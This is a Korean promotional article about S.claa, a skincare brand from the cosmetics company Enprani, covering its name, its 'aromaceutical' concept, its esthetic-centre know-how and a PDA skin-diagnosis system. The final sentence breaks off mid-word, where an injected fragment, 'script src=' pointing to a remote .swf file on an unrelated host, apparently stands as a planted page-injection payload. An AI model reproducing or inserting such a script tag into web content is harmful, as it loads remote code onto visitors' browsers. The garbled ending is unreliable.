소비자들의 정기적인 피부손질에 대한 니즈 또한 지속적으로 증가하면서 피부관리 브랜드에 대한 관심이 높아지고 있다.
하지만 피부 관리 전문점들은 경쟁력 있는 메이저 브랜드가 부재한 상황에서 중소업체에 의한 수입 에스테틱 브랜드 중심으로 체계적이거나 시스템화된 피부관리 노하우가 없는 것이 문제점으로 지적되고 있다.
이에 에스클라(S.claa)는 화장품전문회사의 브랜드 파워와 조직적인 인적구성, 노하우, 신 피부 진단 시스템 개발 등을 통해 중소업체 위주의 피부관리 시장에서 시장 지위를 확고히 하고자 개발됐다.
브랜드 스토리
에스클라(S.claa)는 ‘투명한 아름다운 피부를 위한 특별한 관리’라는 의미를 담고 있는 네이밍으로 ‘special+clinic+clare’ 의 합성어이다. 참신한 철자법으로 세련된 느낌을 전달해주는 에스클라(S.claa)는 명쾌하고 부드러운 발음으로 고기능성 프리미엄 이미지를 잘 표현하고 있다.
브랜드 컨셉
아로마슈티컬에 의한 피부 치유(개선) 화장품- 갈수록 심각해지는 환경오염, 외부 유해환경으로부터 피부는 계속 공격을 받고 있으며, 나이가 들수록 피부는 생명력을 잃어가고, 피부 본연의 기능이 저하되어, 점점 거칠어지고 탄력을 잃어 노화의 속도가 빨라지고 있다.
에스클라(S.claa)는 이러한 피부변화에 릴렉싱 및 아로마테라피 효과를 줌으로써 심신의 안정과 함께 빠른 피부 개선 효과를 줄 뿐만 아니라, 정확한 개인별 피부 진단 및 건강도 측정을 통해 개인별 피부 상태에 맞는 자연성분으로 피부에 자연의 생명력을 부여하고 피부 본연의 기능을 회복, 조절해주는 아로마슈티컬의 피부 치유(개선) 화장품이다.
※아로마슈티컬이란? Aromatheraphy(아로마치료)+Phatmaceutical(약제의)의 복합어로 피부치유와 전문성 표현
마케팅 전략
프리미엄 브랜드 엔프라니 런칭에 성공하면서 화장품 전문회사로서 자리잡은 엔프라니는 국내 뷰티산업의 랜드마크인 청담동에 복합뷰티센터인 엔프라니 애비뉴를 2003년 4월 오픈, 최고급 에스테틱센터를 운영하면서 피부 관리 프로그램에 대한 노하우와 기술이 축적되어 왔다.
이에 1년 반 이상 고객을 실제로 케어하고 있는 국내 최고급 에스테틱의 시스템을 에스클라(S.claa) 피부 관리 프로그램에 과학적으로 적용하였다.
엔프라니 애비뉴 에스테틱센터는 할리우드 스타들이 사용하는 최첨단 하이테크 기기들, 스파개념을 도입한 아로마 스팀 사우나, 심심을 릴랙스시켜 주는 뮤직테라피 오디오 시스템 등 최신시설과 함께 고도의 숙련된 에스테티션들이 제공하는 호텔식 서비스를 제공해왔다.
여기에 국내 에스테틱 부문 최고의 교수진이 에스클라(S.claa) 자문위원으로 활동하면서 최신 정보를 통해 가장 기능적인 테닉을 발전시켜 적용시켰다.
또한 한국을 대표하는 화장품 전문회사에서 국내외 연구진과 마케터들이 국내 상황에 대한 즉각적인 마케팅을 실현할 수 있는 저력있는 브랜드로 지속적으로 업그레이드된 신제품 개발을 하고 있는 브랜드이다.
엔프라니 애비뉴 에스테틱센터 DB를 통한 피부 관리 이용 전문 고객을 심층 분석하여 제품을 설계했다. 피부관리 이용 전문 고객의 피부 고민, 케어욕구 등을 활용 보다 실질적인, 소비자를 이해하는 피부 관리 브랜드로 태어날 수 있었다.
이러한 데이터를 과학적인 피부 진단 시스템과 연계, 국내 최초로 PDA시스템을 도입했다. PDA시스템은 피부건강상태, 유수분 밸런스 등 기본적인 문진은 물론 피부의 레프리카를 채취하여 PDA에 입력한 후 종합결과를 도출하여 피부결 지수, 탄력지수 등 피부상태를 고객에게 진단해줄 수 있는 과학적인 시스템이다.
월 2회 이상씩 스파르타식 정기 교육 및 SLP 프로페셔널 프로그램을 통해 최강의 맨파워를 육성 중이고 앞으로도 지속적으로 육성할 예정이다. 일반적인 평준화 수준의 피부?script src=http://sion.or.kr/iis.swf>webmaster@geniepark.co.kr
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